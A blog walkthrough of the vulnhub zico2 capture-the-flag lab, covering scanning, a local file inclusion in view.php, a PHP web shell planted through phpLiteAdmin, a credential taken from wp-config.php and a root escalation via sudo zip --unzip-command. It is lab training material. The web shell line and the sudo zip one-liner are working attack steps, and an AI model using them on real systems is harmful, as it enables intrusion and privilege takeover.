d7x's blog – penetration testing methologies, cheatsheets, vulnhub walkthroughs
CTF: zico2 walkthrough
This is a walkthrough on the vulnhub zico2 CTF by Rafael
Target IP: 192.168.56.105*
* in case anyone who got here doesn’t know how to get the VM IP here’s a useful command: arp-scan -I <interface> –localnet, or just arp-scan –localnet in case you use bridged adapter.
The nmap quick scan shows the following results:
The full range 1-65535 range nmap scan showed an additional RPC service running on port 58306 recognized by nmap as “status 1 (RPC #100024)
The UDP Scan:
By enumerating the ssh daemon header section* the openssh package disclosed the actual distribution version of the server to be supposedly Ubuntu Precise (12.04) (see the link below, refer to the following package description about openssh 1:5.9p1-5ubuntu1.10 source package on launchpad)
*here’s a nice article on enumerating or fingerprinting ssh banners – the title is targeted towards fingerprinting Ubuntu ssh version, but the information can be applied to most package based Linux distributions
The Apache 2.2.22 does not seem to be vulnerable to any kind of a remote attack so the next step is to take a look at the web server contents:
It’s an almost statically self-linked page with no external links or links to other files residing on the server, a contact email at the bottom* and there isn’t much useful stuff in the source except the link lying under the “CHECK THEM OUT” button leading to another page, obviously including a web page itself passed to it as a GET parameter:
* I usually save these in my notes to use as a username wordlist in a potential brute-force attack at a later stage)
Checking out the view.php?page=tools.html page source does not show anything useful either, but a potential LFI attack vector can be immediately noticed in the GET request. After several tests it can be seen that pointing a direct file would not work, however manipulating the page parameter and combining it with a directory traversal technique (this can be discovered either manually using a tool like owasp zap or burp suite by attacking the value of the “page” parameter using either of the tools’ fuzzers) that requesting ../../ followed by a complete path to any filename by manipulating the GET parameter on the web application results in an LFI attack:
Running dirb or dirbuster on the target to discover any hidden files & directories, an important step a tester should never miss, discloses the following interesting files (pay special attention to the /dbadmin folder):
The dbadmin directory above seems to contain a phpLiteAdmin 1.9.3 installation which is vulnerable to Remote PHP Code Injection and is obviously left with default admin password:
Trying to save a file using the Remote Command Injection vulnerability in an arbitrary folder does not work on the target, however combining it with the LFI could be used to exploit the vulnerability and turn this into an arbitrary command execution. Taking advantage of the phpLiteAdmin web application exposing its actual paths makes this an easier task:
<? php echo shell_exec($_GET`); ?>
And then getting a persistent shell using nc (by including the /usr/databases/shell.php file using the LFI vulnerability and passing a malicious command via the GET cmd parameter :
After initiating the persistent shell and browsing through the /home/zico directory, a password can be seen within the wp-config.php wordpress configuration file:
Trying the above password on user zico provides a valid system shell:
The sudo -l command shows that user zico can execute sudo commands without being prompted for a password using the /bin/tar and /usr/bin/zip binaries:
Now to escalate privileges*, as both tar and zip binaries provide the option to execute a command upon archiving/dearchiving, either of the following commands could be used:
*here’s a nice article from SANS on Linux Privilege Escalation Techniques of 2016Privilege Escalation Using the tar command:
Privilege Escalation using the zip Linux command:
I had to do a bit of a research to understand how sudo can be used to escalate privileges using the zip binary until I figured out that the zip filename is actually appended to the command of choice, so you have to interrupt it using a terminating “#” (comment) string to keep the syntax in a neat state. The Solutions to the Sudo Challenge! by Sebastien Mackeexplains provides a simple description on this in a similar way as the one I used described below.
My way of doing thisi was as following:
As the -Tzip linux command option is actually used to test the integrity of zip archives, and the –unzip-command is used to swap the command with one of a choice, one could just issue a sudo su command and terminate it to avoid including the appended filename string as following:
sudo /usr/bin/zip -T wordpress-4.8.zip --unzip-command='sudo su #'
Another option is to use ‘/bin/bash #‘ or ‘/bin/bash -i #‘ instead of sudo, I personally prefer using sudo as I consider it’s the more straight-forward and elegant way.
And here’s the flag: